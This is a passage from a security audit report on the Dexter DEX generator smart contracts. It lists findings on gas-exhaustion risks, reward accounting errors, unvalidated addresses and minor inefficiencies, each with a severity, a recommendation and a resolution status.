In `contracts/dexter_generator/generator/src/contract.rs:180-181`, `419-420`, and `522-524`, iterations over active pools might run out of gas if too many pools exist. The pool creation is permissionless, so an attacker could register new pools to disable the `DeactivatePool`, `SetTokensPerBlock`, and `SetupPools` functionalities. This vector of active pools can also potentially grow to a large size over time because during the `DeactivatePool` function, pools are not removed from the vector, rather their allocation points are just set to zero.

Recommendation

We recommend introducing a limit to the number of pools that are possible to register and pagination for iterations.

Status: Acknowledged

7. Stakers get fewer DEX rewards when setting the reward proxy contract

Severity: Major

In `contracts/dexter_generator/generator/src/contract.rs:642-644`, the `add_proxy` functionality sets the reward proxy first before updating the rewards per share. This is problematic because the pool's `accumulated_rewards_per_share` will not increase in line `1716`. The queried `lp_supply` from the proxy reward address is zero. This causes stakers to not receive their DEX rewards for that specific staking period.

Even if the `lp_supply` is not zero, it will cause the reward share to be incorrectly calculated, as the token supply should originate from the balance of the contract itself.

Recommendation

We recommend updating the rewards per share before setting the pool's reward proxy.

Status: Resolved

8. Emergency unstake uses outdated accumulated share value

Severity: Major

In `contracts/dexter_generator/generator/src/contract.rs:1039-1047`, the pool's accumulated proxy rewards per share are not updated before adding the pool's orphan proxy rewards. This is problematic because excess rewards will not be recorded for orphan proxy rewards. As a result, the `SendOrphanProxyReward` message would send lower rewards than expected.

Recommendation

We recommend updating the pool before executing an emergency unstake.

Status: Acknowledged

The client states that the emergency stake functionality is only meant to be used in situations where the 3rd party staking contract is not working as expected and the `accumulate_rewards_per_share` function is failing (i.e. when reward claim from the staking contract is failing), as it allows the users to unbond their staked LP tokens without claiming any rewards (rewards are orphaned). In normal circumstances, the `unstake` function should be used to unbond the LP tokens.

9. Unbounded iteration for unbonding sessions might lead to unlock failure

Severity: Minor

In the `unlock` function in `contracts/dexter_generator/generator/src/contract.rs:958`, an unbounded iteration is performed over a user's unbonding sessions. It is possible that a user may have many unbonding sessions, which may cause the transaction to fail with an out-of-gas error and prevent the user from being able to perform the unlock functionality.

Recommendation

We recommend configuring and enforcing a value for the maximum number of `user.unbonding_periods`.

Status: Resolved

10. `send_orphan_proxy_rewards` allows for funds to be sent to any address

Severity: Minor

The `send_orphan_proxy_rewards` function in `contracts/dexter_generator/generator/src/contract.rs:1091` allows the owner to send orphaned proxy rewards to any address. It is best practice to restrict the recipient of the funds to a config value that controls the fund's recipient rather than allowing funds to be sent to any address.

Recommendation

We recommend defining an updatable funds recipient address rather than allowing the rewards to be sent to any address.

Status: Acknowledged

The client states that the `send_orphan_proxy_rewards` function will be used in situations where the 3rd party staking contract encountered issues and users had to use the `emergency_unstake` function to unbond their lp tokens and make their rewards orphan. In such situations, mechanisms may need to be adopted which can involve new contracts for optimal orphan rewards distribution as per community consensus, hence it makes sense to allow orphan reward transfer by the generator owner to any address.

11. Generator limit is not enforced

Severity: Minor

The `checkpoint_generator_limit` that is defined in `packages/dexter/src/generator.rs:69` is never enforced to limit the number of generators.

Recommendation

We recommend either enforcing this value or removing the `checkpoint_generator_limit` parameter from the config.

Status: Resolved

12. Message executions enter the reply handler by default

Severity: Minor

In `contracts/dexter_generator/generator/src/contract.rs:750`, every message execution will automatically call the `process_after_update` function. This is because normal messages are executed as `ReplyOn::Never` with unused message identifier values.

The reply identifier only intends to execute during `update_rewards_and_execute`. In lines `700` and `735`, the `TMP_USER_ACTION` state is updated, and the last message will be executed as `ReplyOn::Success`. Mutating the last sub-message is unnecessary since the reply entry point will be entered anyway.

Overall, the implementation is inefficient since it consumes unnecessary computation power and gas.

Recommendation

We recommend modifying the implementation to only reply based on a custom reply identifier value from line `735`. The custom reply identifier value can be used with `reply_on_success` only to enter the reply message after successful execution.

Status: Acknowledged

13. Querying orphan proxy rewards will fail

Severity: Minor

The `query_orphan_proxy_rewards` functionality in `contracts/dexter_generator/generator/src/contract.rs:1380` attempts to retrieve the proxy asset from the `PROXY_REWARD_ASSET` storage state. However, the

storage state can only be updated from the `update_proxy_asset` functionality in `contracts/dexter_generator/generator/src/state.rs:68`. Since the functionality is not used anywhere across the codebase, the query would fail by default.

Recommendation

We recommend calling the `update_proxy_asset` function when adding a proxy.

Status: Resolved

14. Reward token address in generator proxy is not validated

Severity: Minor

In `contracts/dexter_generator/generator_proxy/src/contract.rs:38`, the reward token is not validated to have a valid CW20 token address. If the reward token address is an invalid token address, it will cause reward distributions to fail.

We classify this as a minor issue since only the admin can cause it.

Recommendation

We recommend validating the CW20 token address of the reward token.

Status: Resolved

15. Consider removing unnecessary duplicate queries

Severity: Informational

The `query_on_swap` function in `contracts/stable_pool/src/contract.rs:600` and `602` performs unnecessary queries for the token precisions of `offer_asset_info` and `ask_asset_info`. These additional queries are unnecessary because the values have previously been queried in lines `584` and `585`.

Recommendation

We recommend replacing the `query_token_precision` queries in `contracts/stable_pool/src/contract.rs:600` and `602` with the previously defined `offer_precision` and `ask_precision` variables.

Status: Resolved

16. `EmergencyWithdraw` entry point performs the same functionality as normal withdraw

Severity: Informational

The `EmergencyWithdraw` entry point in `contracts/dexter_generator/generator_proxy/src/contract.rs:57` simply calls the `withdraw` function. If no additional functionality is involved with the `EmergencyWithdraw`, it is best practice to remove the extra entry point.

Recommendation

We recommend removing the `EmergencyWithdraw` entry point.

Status: Acknowledged

The Dexter team stated that the `EmergencyWithdraw` function is provided within the `generator_proxy` interface to cover edge cases that may happen when integrating 3rd party staking contracts.

17. Incorrect description in Readme

Severity: Informational

In `contracts/dexter_generator/generator/Readme.md:30`, the `ClaimRewards` message has an incorrect description field. It is currently the same as the `Cw20HookMsg::DepositFor` message.

Recommendation

We recommend updating the description for the `ClaimRewards` message.

Status: Resolved